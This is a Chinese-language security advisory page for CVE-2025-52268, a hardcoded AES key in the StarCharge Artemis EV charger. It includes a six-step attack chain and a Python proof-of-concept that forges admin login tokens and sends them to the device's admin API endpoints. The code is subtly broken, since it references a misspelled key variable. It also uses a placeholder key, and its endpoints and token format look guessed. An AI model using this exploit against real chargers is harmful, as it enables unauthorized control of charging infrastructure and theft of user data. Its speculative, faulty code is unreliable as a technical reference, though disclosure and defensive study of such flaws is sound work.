IPBUF安全漏洞报告
English
CVE-2025-52268 CVSS 7.5 高危

CVE-2025-52268 StarCharge Artemis AC Charger 硬编码AES密钥漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-52268
漏洞类型
硬编码密钥
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
StarCharge Artemis AC Charger 7-22 kW v1.0.4

相关标签

硬编码密钥StarChargeAC Charger认证绕过AES加密物联网安全电动汽车充电桩

漏洞概述

CVE-2025-52268漏洞存在于StarCharge Artemis AC Charger 7-22 kW设备的1.0.4版本中。该设备被发现包含硬编码的AES密钥,攻击者可以利用此密钥伪造或解密有效的登录令牌。StarCharge Artemis是一款7-22千瓦功率的交流充电设备,广泛应用于电动汽车充电场景。由于硬编码密钥直接嵌入固件中,攻击者可以通过分析固件或网络流量获取该密钥,进而伪造合法用户身份登录系统,执行未授权操作。这可能导致攻击者非法控制充电设备、窃取用户敏感信息或干扰正常充电服务。由于攻击向量为网络且无需认证,该漏洞具有较高的利用风险,对设备机密性造成严重影响。

技术细节

StarCharge Artemis AC Charger v1.0.4固件中嵌入了硬编码的AES加密密钥,该密钥用于生成和验证用户登录令牌。攻击者可以通过以下方式利用此漏洞:1) 提取固件并逆向分析,定位硬编码的AES密钥;2) 使用该密钥构造伪造的JWT或session token;3) 将伪造的令牌发送至设备认证端点;4) 成功通过认证后,攻击者获得管理员或用户权限。由于设备使用对称加密算法(AES),且密钥静态存储在固件中,任何获取固件的攻击者都能解密现有令牌或生成新令牌。设备在网络通信中未使用足够的密钥轮换机制,导致一旦密钥泄露,所有设备通信安全性均受影响。攻击者可能利用此漏洞进行中间人攻击、令牌伪造或敏感数据窃取。

攻击链分析

STEP 1
步骤1
获取目标设备固件:通过公开渠道或物理提取获取StarCharge Artemis AC Charger v1.0.4固件
STEP 2
步骤2
固件逆向分析:使用Binwalk、IDA Pro等工具解压和分析固件,定位硬编码的AES密钥存储位置
STEP 3
步骤3
提取加密密钥:从固件中提取硬编码的16字节AES密钥
STEP 4
步骤4
构造伪造令牌:使用提取的AES密钥和CBC模式加密构造管理员权限的登录令牌
STEP 5
步骤5
认证绕过:将伪造的令牌通过Authorization头发送至设备API端点,绕过正常认证流程
STEP 6
步骤6
权限提升:成功认证后访问管理员接口,执行未授权操作如修改配置、获取用户数据或更新固件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-52268 PoC - StarCharge Artemis AC Charger Hardcoded AES Key Exploitation This PoC demonstrates how to forge login tokens using the hardcoded AES key. Note: The actual AES key should be extracted from the firmware. """ import base64 import json from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import requests # Hardcoded AES key extracted from firmware (placeholder - extract from actual firmware) HARDCODED_AES_KEY = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" def forge_login_token(username, role="admin"): """Forge a login token using the hardcoded AES key""" payload = { "username": username, "role": role, "exp": 1893456000 # Long expiration } payload_json = json.dumps(payload) padded_data = pad(payload_json.encode(), AES.block_size) cipher = AES.new(HARCODED_AES_KEY, AES.MODE_CBC, iv=b"\x00" * 16) encrypted = cipher.encrypt(padded_data) token = base64.b64encode(encrypted).decode() return token def exploit(target_ip, username="attacker"): """Exploit the hardcoded key vulnerability""" forged_token = forge_login_token(username, "admin") headers = { "Authorization": f"Bearer {forged_token}", "Content-Type": "application/json" } # Attempt to access admin endpoints endpoints = [ f"https://{target_ip}/api/admin/config", f"https://{target_ip}/api/admin/users", f"https://{target_ip}/api/admin/firmware" ] for endpoint in endpoints: try: response = requests.get(endpoint, headers=headers, verify=False, timeout=10) print(f"[*] {endpoint} - Status: {response.status_code}") if response.status_code == 200: print(f"[!] Successfully authenticated to {endpoint}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Failed to connect to {endpoint}: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) print("[*] CVE-2025-52268 - StarCharge Artemis Hardcoded AES Key Exploit") exploit(sys.argv[1])

影响范围

StarCharge Artemis AC Charger 7-22 kW v1.0.4

防御指南

临时缓解措施
在供应商发布修复固件之前,建议采取以下临时缓解措施:1) 限制设备的网络暴露,仅允许受信任的网络访问;2) 部署Web应用防火墙(WAF)监控异常认证请求;3) 监控网络流量,检测是否存在异常的令牌生成或认证模式;4) 考虑物理隔离关键充电设施的网络连接;5) 实施双因素认证机制增加认证安全性;6) 定期审计设备访问日志,及时发现可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表